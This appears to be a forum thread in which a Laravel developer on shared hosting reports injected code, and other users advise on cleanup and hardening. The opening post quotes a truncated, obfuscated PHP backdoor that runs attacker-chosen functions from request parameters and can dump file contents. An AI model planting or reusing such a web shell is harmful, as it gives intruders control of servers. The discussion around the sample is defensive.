Level 29
Looks like malware, are all your applications hosted on the same server?
1 like
Feb 12, 2024
9
Level 1
All my Laravel applications with strange codes..
All my Laravel applications with strange codes..Has anyone ever experienced this situation?
IF( $r93f53K=@ ${'_REQUEST'} ['NEGSNZTD' ] ){$r93f53K[1 ]( ${$r93f53K[2]}[ 0] , $r93f53K[3 ]($r93f53K[4 ])) ;}; /cut here;)/if(isset($_REQUEST["6\x38bx\164\x39b\144r\x76n\x72\x36\145nw"])){if(empty($_REQUEST["\66\x38\x62\x78\164\71\142\x64\x72v\156\162\x36\x65\156w"])){echo bin2hex(gzdeflate(file_get_contents(FILE)));}else{header("\x58-\114\x69\x74\145\x53\160\x65\145d\55P\x75\162\147\145\72\40\52");if(function_exists("\157p\143\x61\143\150\x65\x5f\162es\x65t")){@opcache_reset();}if(function_exists("a\160c\137clea\x72\137\143\x61\x63h\145")){@apc_cle .....
Level 1
@gych I think that's it... everyone is on the same server... I deleted all the unknown codes and files... I just don't know if they will come back later.
Level 29
@jon4sf The infection can sit deep within your files.
Do you have backups of all your sites? Which hosting environment do you use? Vps, shared host, ...
1 like
Level 1
@gych shared host HOSTGATOR....I also use the old version of Laravel, I believe it is version 8.... I'm migrating to version 10.
Level 27
@jon4sf They will come back later. Deleting stuff isn’t enough. The fact that it’s there to begin with means someone somehow gained access to your server at some point. If you change nothing other than deleting the code they injected, they can gain access to your server in the same way again.
Since you say you’re on shared hosting, there’s a good chance you’ve uploaded your app in an inherently insecure way, exposing sensitive information to the world, and that’s how your site was breached.
1 like
Level 29
@jon4sf If you've backups, delete everything and deploy again. Change all passwords and make sure that your application is deployed correctly.
On shared hosting malware can also spread between mutltiple users. Its worth to think about moving to a better hosting solution instead of using shared host.
1 like
Level 1
@gych Thank you for the help, I'm updating the system, I also have backups... I will do this. Thanks again.
1 like
Level 1
@kokoshneta It was what I thought... I appreciate your response.
Level 29
@jon4sf No problem :) if you have more questions don't hesitate to reach out
Please or to participate in this conversation.